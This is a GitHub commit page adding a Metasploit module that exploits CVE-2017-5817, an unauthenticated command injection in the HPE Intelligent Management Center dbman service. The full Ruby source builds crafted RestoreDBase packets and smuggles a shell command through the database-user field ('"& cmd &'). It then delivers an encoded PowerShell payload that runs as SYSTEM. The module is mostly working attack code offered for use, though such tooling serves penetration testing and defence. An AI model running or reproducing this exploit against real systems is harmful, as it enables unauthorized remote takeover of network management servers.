Skip to content

Commit 0065148

Browse files
committed
Add HPE iMC dbman RestoreDBase Unauthenticated RCE exploit
1 parent 520e890 commit 0065148

File tree

1 file changed

+207
-0
lines changed

1 file changed

+207
-0
lines changed
Lines changed: 207 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,207 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::Powershell
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE',
15+
'Description' => %q{
16+
This module exploits a remote command execution vulnerablity in
17+
Hewlett Packard Enterprise Intelligent Management Center before
18+
version 7.3 E0504P04.
19+
20+
The dbman service allows unauthenticated remote users to restore
21+
a user-specified database (OpCode 10007), however the database
22+
connection username is not sanitized resulting in command injection,
23+
allowing execution of arbitrary operating system commands as SYSTEM.
24+
This service listens on TCP port 2810 by default.
25+
26+
This module has been tested successfully on iMC PLAT v7.2 (E0403)
27+
on Windows 7 SP1 (EN).
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'sztivi', # Discovery
33+
'Chris Lyne', # Python PoC (@lynerc)
34+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
35+
],
36+
'References' =>
37+
[
38+
['CVE', '2017-5817'],
39+
['EDB', '43195'],
40+
['ZDI', '17-341'],
41+
['URL', 'https://www.securityfocus.com/bid/98469/info'],
42+
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
43+
],
44+
'Platform' => 'win',
45+
'Targets' => [['Automatic', {}]],
46+
'Payload' => { 'BadChars' => "\x00" },
47+
'DefaultOptions' => { 'WfsDelay' => 15 },
48+
'Privileged' => true,
49+
'DisclosureDate' => 'May 15 2017',
50+
'DefaultTarget' => 0))
51+
register_options [Opt::RPORT(2810)]
52+
end
53+
54+
def check
55+
# empty RestoreDBase packet
56+
pkt = [10007].pack('N')
57+
58+
connect
59+
sock.put pkt
60+
res = sock.get_once
61+
disconnect
62+
63+
# Expected reply:
64+
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
65+
return CheckCode::Detected if res =~ /dbman/i
66+
67+
CheckCode::Safe
68+
end
69+
70+
def dbman_msg(database_user)
71+
data = ''
72+
73+
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
74+
database_type = "\x03" # MySQL
75+
restore_type = 'MANUAL'
76+
database_password = rand_text_alpha rand(1..5)
77+
database_port = rand_text_alpha rand(1..5)
78+
database_instance = rand_text_alpha rand(1..5)
79+
junk = rand_text_alpha rand(1..5)
80+
81+
# database ip
82+
data << "\x04"
83+
data << [db_ip.length].pack('C')
84+
data << db_ip
85+
86+
# ???
87+
data << "\x04"
88+
data << [junk.length].pack('C')
89+
data << junk
90+
91+
# ???
92+
data << "\x04"
93+
data << [junk.length].pack('C')
94+
data << junk
95+
96+
# junk
97+
data << "\x04"
98+
data << [junk.length].pack('C')
99+
data << junk
100+
101+
# ???
102+
data << "\x02\x01\x01"
103+
104+
# database type
105+
data << "\x02"
106+
data << [database_type.length].pack('C')
107+
data << database_type
108+
109+
# restore type
110+
data << "\x04"
111+
data << [restore_type.length].pack('C')
112+
data << restore_type
113+
114+
# ???
115+
data << "\x04"
116+
data << [junk.length].pack('C')
117+
data << junk
118+
119+
# database user
120+
data << "\x04"
121+
data << "\x82"
122+
data << [database_user.length].pack('n')
123+
data << database_user
124+
125+
# database password
126+
data << "\x04"
127+
data << [database_password.length].pack('C')
128+
data << database_password
129+
130+
# database port
131+
data << "\x04"
132+
data << [database_port.length].pack('C')
133+
data << database_port
134+
135+
# database instance
136+
data << "\x04"
137+
data << [database_instance.length].pack('C')
138+
data << database_instance
139+
140+
# ???
141+
data << "\x04"
142+
data << [junk.length].pack('C')
143+
data << junk
144+
145+
# ???
146+
data << "\x04"
147+
data << [junk.length].pack('C')
148+
data << junk
149+
150+
# ???
151+
data << "\x04"
152+
data << [junk.length].pack('C')
153+
data << junk
154+
155+
# ???
156+
data << "\x04"
157+
data << [junk.length].pack('C')
158+
data << junk
159+
160+
# ???
161+
data << "\x30\x00"
162+
data << "\x02\x01\x01"
163+
164+
data
165+
end
166+
167+
def dbman_restoredbase_pkt(database_user)
168+
data = dbman_msg database_user
169+
170+
# opcode 10007 (RestoreDBase)
171+
pkt = [10007].pack('N')
172+
173+
# packet length
174+
pkt << "\x00\x00"
175+
pkt << [data.length + 4].pack('n')
176+
177+
# packet data length
178+
pkt << "\x30\x82"
179+
pkt << [data.length].pack('n')
180+
181+
# packet data
182+
pkt << data
183+
184+
pkt
185+
end
186+
187+
def execute_command(cmd, _opts = {})
188+
connect
189+
sock.put dbman_restoredbase_pkt "\"& #{cmd} &"
190+
disconnect
191+
end
192+
193+
def exploit
194+
command = cmd_psh_payload(
195+
payload.encoded,
196+
payload_instance.arch.first,
197+
{ :remove_comspec => true, :encode_final_payload => true }
198+
)
199+
200+
if command.length > 8000
201+
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
202+
end
203+
204+
print_status "Sending payload (#{command.length} bytes)..."
205+
execute_command command
206+
end
207+
end

0 commit comments

Comments
 (0)